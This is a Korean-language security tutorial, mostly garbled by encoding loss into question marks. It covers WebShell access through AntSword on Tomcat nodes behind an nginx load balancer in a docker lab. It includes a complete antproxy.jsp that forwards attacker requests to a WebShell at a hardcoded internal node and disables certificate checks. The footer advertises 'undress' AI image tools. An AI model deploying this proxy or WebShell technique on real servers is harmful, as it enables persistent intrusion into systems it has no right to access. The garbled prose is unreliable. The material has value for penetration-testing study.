nginx ?? ????? ?? ???? ???? ??
May 16, 2023 am 08:16 AM???? ??
?? ???? ??? WebShell? ?? ? ?? RCE ???? ??? ??
?? ??
?? GetHub?? ??? ???? ???? ?? nginx ? tomcat? centos? ???? ???. nginx, tomcat ?? ?? ??? ?? ????, docker? ??? ???? ????? ???? ??? ???.
1. ?? docker ??? ?????
2. Tomcat? ?? ???? ??????
? ???? ? ? ??? ??? tomcat? ??? ???? ?????
3. docker? nginx ?? ????? ?? ?? ??
4. docker
? lbsnode1? ?? ant.jsp ??? ?????. ? ??? ? ??? Trojan?? ??? ? ???, lbsnode2?? ??? ??? ?????
lbsnode1:
lbsnode2:
5. China Ant Sword
? ?? ant.jsp ??? ?????. ? ?? ?? ??? ??? ant.jsp? ???? ?? ? ??? ????
??? ??? ??
?? 1: nginx?? ???? ??? ???? ?? ????? ???? ??? ? ??? ??? ??? ??? ?????? ???
??? ??? ??? ???? ??? ?? ???? ?? ???? ?????. ? ??? ???? ??? ???? ??? ??? ?? ???? ??? ???? ??? ????. ????? ? ??? ??? ??? ?? ??? ???. , 404 ??? ???? ?? ??? ??? ????. ??? ?? ?? ???? ???? ?? ?? ??? ???? ?????.
???:
?? ??? ???? ??? ??? ???? ? ??? ? ??? ??? ??? ??? ???? ??? WebShell? ????? ???. ?? ??? ??? ??? ?????? ???? ????? ???.
?? 2: ??? ??? ? ?? ??? ?? ????? ???? ???? ? ? ????.
?? ?? ???? IP? ?? ?? ??? ?? -i? ????
?? 3: ? ? ??? ????? ? ? ??? ??? ? ?? ???.
? ? ??? ????? AntSword? ??? ???? ? ??? ?????. ???? ??? ??? ??? ?? ?? HTTP ???? ??? ???? ????. ??? ??? ?? A? ?? ??? ?? ??? ?? B? ?? ??? ? ? ??? ??? ? ? ??? ??? ? ? ?? ???.
?? ?? 4: ?? ???? ?? ????? ???? ? ???? ? ????? reGeorg/HTTPAbs? ?? HTTP ??? ??? ? ????. ??? ? ??????? ??? ?? ????? ?? ?????.
Solution
?? 1: ??? ?? ? ?? ??
??? ?? ? ??? ???? ??? ?? ? ?? ??? ??? ? ??? ? ???? ??? "??? ?? ????." "?? ???", ??? ??? ??? ??? ??? ? ??? ???? ?? ?? ?????
?? ??: ?? ????? ???? ???! ! !
?? 2: ????? ???? ?? ????? ???? ?? ??
???? ?? ??? ????? ???? ???? ?? ?????? ?? ????? ???? ?? ?? ????? ???? ??? ??? ? ????. ??.
???? ??.sh ????? ?????. ? ????? ??? ?? ? ??? ??? ?? ?? ????. ????? ? ??? ??? ???? ???? ?????. ?? ????? ????? ???? ????.
Demo.sh ???? ??? China Ant Sword? ?? ? ?? ??? ??? ??????. ?? ????? ??? ?????? ???? ???? ???
?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ? ????. ??? ?? ???? ??? ???? ??? ??? ????. HTTP ??? ???? ?????.
??? ??: ? ???? ?? ??? ? ??? ??? ??? ?? ????? ???? ????.
?? 3: ? ???? HTTP ??? ??(??)
?, AntSword? ???? LBSNode1 ???? IP(172.23.0.2)? ?? 8080? ?? ???? ? ??? ???? ???? ? ????. nginx? ???? ? ?? ? ??? LBSNode2 ???? Node1 ???? 8080 ???? ???? ? ????.
??? "PHP ?? ???? ??" ????? ??????? ? ????? ??? ? ???? http??? ??? ?? HTTP ?? ??? ?? ???? "antproxy.php"? ??????. ? ????? ?????:
? ??? ???? ???????. ??? ??? ??? ????. ?? ??? ??? "LBSNode 1" ???? ??? ? ????.
? ?? ??? 1?????. , /antproxy.jsp? ?????. ? ??? nginx? ?????
nginx? ??? ??? ?? ? ? ?? ??? ?????.
?? ??? ?? ???????. ? ?? ????? ??? ?? ????? ?????. Node1 ???? ?????. /antproxy.jsp, 3??, /antproxy.jsp? ??? ????? ????? ???? Node1 ???? /ant.jsp? ?????.
??? ?? ?? ?????. 2????? ??? Node2 ????? ?????. ?? ?? 3????? Node2 ???? /antproxy.jsp? ??? ????? Node1? /ant.jsp? ?????. ????? ???????.
1.antproxy.jsp ????? ?????
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.net.ssl.*" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.DataInputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.net.HttpURLConnection" %> <%@ page import="java.net.URL" %> <%@ page import="java.security.KeyManagementException" %> <%@ page import="java.security.NoSuchAlgorithmException" %> <%@ page import="java.security.cert.CertificateException" %> <%@ page import="java.security.cert.X509Certificate" %> <%! public static void ignoreSsl() throws Exception { HostnameVerifier hv = new HostnameVerifier() { public boolean verify(String urlHostName, SSLSession session) { return true; } }; trustAllHttpsCertificates(); HttpsURLConnection.setDefaultHostnameVerifier(hv); } private static void trustAllHttpsCertificates() throws Exception { TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public X509Certificate[] getAcceptedIssuers() { return null; } @Override public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } @Override public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } } }; try { SSLContext sc = SSLContext.getInstance("TLS"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } catch (KeyManagementException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } %> <% String target = "http://172.24.0.2:8080/ant.jsp"; URL url = new URL(target); if ("https".equalsIgnoreCase(url.getProtocol())) { ignoreSsl(); } HttpURLConnection conn = (HttpURLConnection)url.openConnection(); StringBuilder sb = new StringBuilder(); conn.setRequestMethod(request.getMethod()); conn.setConnectTimeout(30000); conn.setDoOutput(true); conn.setDoInput(true); conn.setInstanceFollowRedirects(false); conn.connect(); ByteArrayOutputStream baos=new ByteArrayOutputStream(); OutputStream out2 = conn.getOutputStream(); DataInputStream in=new DataInputStream(request.getInputStream()); byte[] buf = new byte[1024]; int len = 0; while ((len = in.read(buf)) != -1) { baos.write(buf, 0, len); } baos.flush(); baos.writeTo(out2); baos.close(); InputStream inputStream = conn.getInputStream(); OutputStream out3=response.getOutputStream(); int len2 = 0; while ((len2 = inputStream.read(buf)) != -1) { out3.write(buf, 0, len2); } out3.flush(); out3.close(); %>
2. ?? ??? ???? ?? Node? ???? IP? ?? ???? ??? ??? ???????.
??: WebShell?? ??? reGeorg? ?? ????? ??? ??? ??? ? ????
??? LBSNode1
??:
a) Do ??? ??? ???? ??? ??? ??? ?? ?? ????? ?? ??? ???? ???.
b) ?? ??? antproxy.jsp? ?? ??? ??? ??? ?? ?? ?? ??? ????? ?????? ???? ?? ?? ? ??????
3. antproxy.jsp ??? URL ??? ???? ??? ??? ??? ???
4. ?? ??? ????? IP? ?????
IP? ???????. ?? ??? LBSNode1 ??? ?????? ?????. ?? ?? ?? ??? ? HTTP ???? ???? ?? ?? ??? ??? ??? ????.
1. ??? ??? ??? ?? ????. ?? ??? ?? ?? ????? ?? Plan A
2? ?? ???? ??? ????. ??? ????? WebShell ??? ???? ??? ??? ?? ???? ???? ???? ??? ??? ????. 3. ? ?? ??? ????:
? ???? "?? ??"? "?? ??" ?? ???? ?? ???? ?????.
? ??? nginx ?? ????? ?? ???? ???? ??? ?? ?????. ??? ??? PHP ??? ????? ?? ?? ??? ?????!

? AI ??

Undress AI Tool
??? ???? ??

Undresser.AI Undress
???? ?? ??? ??? ?? AI ?? ?

AI Clothes Remover
???? ?? ???? ??? AI ?????.

Clothoff.io
AI ? ???

Video Face Swap
??? ??? AI ?? ?? ??? ???? ?? ???? ??? ?? ????!

?? ??

??? ??

???++7.3.1
???? ?? ?? ?? ???

SublimeText3 ??? ??
??? ??, ???? ?? ????.

???? 13.0.1 ???
??? PHP ?? ?? ??

???? CS6
??? ? ?? ??

SublimeText3 Mac ??
? ??? ?? ?? ?????(SublimeText3)

Nginx? ?? ?? ??? ???? ? ? ??? ?? Apache? ??? ?? ? ?? ??? ??? ????? ? ?????. 1.NGINX? ??? ? ?? ?? ??? ???? ?? ???? ?????. 2. Aapache? ???? ??? ?? ???? ???? ??? ?? ??? ?????.

Nginx? Apache? ?? ?? ? ??? ??? ??? ??? ?? ??? ???????. 1.NGINX? ??? ? ??? ????? ?? ?? ?? ????? ?????. 2. Apache? ?? ? ??? ?? ??? ??? ??? ??? ????? ?????.

PHP ??? ?? ?? ???? ??? ? ????. 1. ?? ?? ???? "PHP ?? ??"? ?? ???? ????? ?????. 2. ??? ?? ?? ????? ?? ? ??? ?? ????? ?? ???????. 3. IDE?? ???? ?? ??? ??? ??????. 4. ??? PHP ?? ?? ?? ?? ?? ???? ???? ???????.

Nginx? ?? ?? ??? ?? ??? ???? ?? ? ??? ????? ???? ? ???? ??? ?? ?????. 1) ?? ?? ??? ????? /etc/nginx/nginx.conf???. ??? nginx-t ??? ???? ??? ??? ? ? ????. 2) ?? ???? ?? ?? (? : ???, Worker_Processes) ? HTTP ?? (? : log_format)? ?????. ??? ??? ?? ??? ?? ??? ?? ? ??? ?????. ??? ???? ?? ?? ??? ?? ???? ??? ? ????.

Linux System? Ulimit ??? ?? ??? ???? ???? ??? ??? ??? ?????. 1. ulimit? ?? ??? ? (-n), ??? ?? (-v), ??? ??? (-u) ?? ?? ? ??? ?? ? ? ?????. 2. ULIMIT-N2048? ?? ?? ??? ?? ULIMIT ??? ?? ????? ?? ???? ?????. 3. ??? ? ??? ???? /etc/security/limits.conf ? pam ?? ??? ???? sessionRequiredPam_limits.so? ???????. 4. SystemD ???? ?? ???? lim? ???????.

Debian ????? Nginx? ?? ? ? ??? ???? ????. ?? ??? ?? ?? ??? ?? : ??? ??? ? ? ?? ???? ??? ?? ?? NGINX ???? ??? ??? ?? ?? ??? ??????. ??? ?? ?? : NGINX? ???? ??? ???? ??? ???? ?? ?? ????? ?? ?????. HTTP ??? ?? : HTTP ???? ??? ?? ??? ???? ??? ?? ?? ? ?? ??? ???? ? ????. ?? ?? ?? worker_connections : ? ??? ???? ?? ? ??? ?? ?? ?? ???? ????? 1024? ?????. Multi_accept : ?? ?? ?? ??? ????? ?? ?? ??? ??????. ??

nginxserveswebcontentandactsasareverseproxy, loadbalancer, andmore.1) itefficientservesstaticcontentikehtmllandimages.2) itfunctionsAresAreSeareverseProxyAndloadbalancer, ?? TrafficacrossServers.3) nginxenhancesperformancethroughcaching.4) Itofferssecur

Nginx? ???? ??? ?? ?? ? ????? ??? ?????. 1. ?? ????, 2. ?? ?? ??, 3. ?? ???. ??? ???? ?? ?? ??? ???? ?? ??? ??? ???? ?? ? ??? ??? ? ??? ????? ?? 404, 502, 504? ?? ??? ????? ??? ? ????.
